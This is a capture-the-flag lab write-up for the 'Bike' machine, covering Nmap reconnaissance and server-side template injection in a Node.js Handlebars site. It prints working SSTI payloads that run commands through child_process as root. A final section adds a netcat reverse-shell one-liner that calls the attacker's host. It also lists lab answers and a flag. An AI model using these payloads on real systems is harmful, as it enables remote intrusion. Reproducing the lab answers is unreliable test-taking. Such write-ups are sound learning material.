Bike (Tier 1)

Description

  • Tier -> 1

  • Difficult -> Very Easy

  • OS -> Linux

  • Tags -> Custom Applications / NodeJS / Reconnaissance / Remote Code Execution / Server Side Template Injection (SSTI)

Write-up

  • I started doing an initial scan using Nmap

nmap 10.129.97.64 -p- -Pn --min-rate 2500 -oN scan.txt

  • With this, I answered the first question

Answer: 22,80


  • Then I did an exhaustive scan to learn more about the services running on the open ports

nmap 10.129.97.64 -p22,80 -sVC -oN serv_scan.txt

  • With this, I answered the next question

Answer: Node.js


  • As I found the HTTP service on port 80, I went to the browser to check the content being deployed. I found a simple website that let me introduce an email address and send this information. After filling out the form and hitting the Submit button, I obtained a response from the website including the information submitted


  • I reviewed the source code but didn't find anything interesting, so to learn more about the components of the website I used the Wappalyzer extension


  • With this and a little research, I answered the next questions

Answer: Express


Answer: Server Side Template Injection


  • To test some vulnerabilities in the insertion point, I inserted some XSS payloads in the form but didn't get any results. So after that, I tried with some SSTI payloads and noticed that using an input of {{7*7}} I caused an error on the page, letting us know it could be vulnerable to this attack


  • This gave me information about some folders and components being used by the server to deploy the web page, for example, that it was using the Handlebars template engine. So I reviewed some vector attacks for this engine and with some research, I found a payload to abuse it

SSTI_Found_Payload
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

  • With this and a little research, I answered the next question

Answer: Handlebars


  • After that, I intercept the petition sent to modify the content and send this payload. To do so, I used Foxyproxy to intercept the petition and send it to Burpsuite to modify it. After catching it with the proxy I sent it to the Repeater tab to resend it


  • I noticed the site was encoding the values in URL format, so to ensure the page would process the payload correctly, I did the same process in the Decoder tab. After that, I resent the petition and got a different error from the site


  • With this and a little research, I answered the next questions

Answer: Decoder


Answer: URL


Answer: require


Answer: global


  • Searching about this error, I found out it was because the require function used in line 9 of our payload, couldn't be in the internal environment of the deployment so I had to find a way to modify it for my purposes. After a little research, we found an alternative to the use of the require function via the process.mainModule property. So I adapted the payload to work with this and resent it

SSTI_New_Payload
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').exec('whoami');"}} 
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

  • I noticed the server processed it without errors, but instead of executing the command was returning what seemed to be JavaScript objects. This could be because the exec function was not available within the environment context. After a lot of research, I found other possible functions from the child_process module that could let us execute commands. Trying all possible options we found that by using the execSync function and resending the petition, I finally did it work

SSLI_Final_Payload
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}} 
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

  • With this, I answered the next question

Answer: root


  • That revealed I had gained RCE as the root user, so by abusing this method, I listed the files from the /root folder. There I found a flag.txt file, and once again, used the RCE to read the content of this file which gave me the flag


  • With this, I got the root flag and pwned the machine

Answer: 6b258d726d287462d60c103d0142a81c

Alternative Reverse Shell

  • I tried to gain a reverse shell abusing the RCE and sending a proper payload. I started sending a Netcat listener on my machine and sent the petition with the payload

nc -nlvp 4444
SSLI_RevShell
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

  • I observed I didn't receive any response from the server, but checking the listener I had caught a shell as the root user

Last updated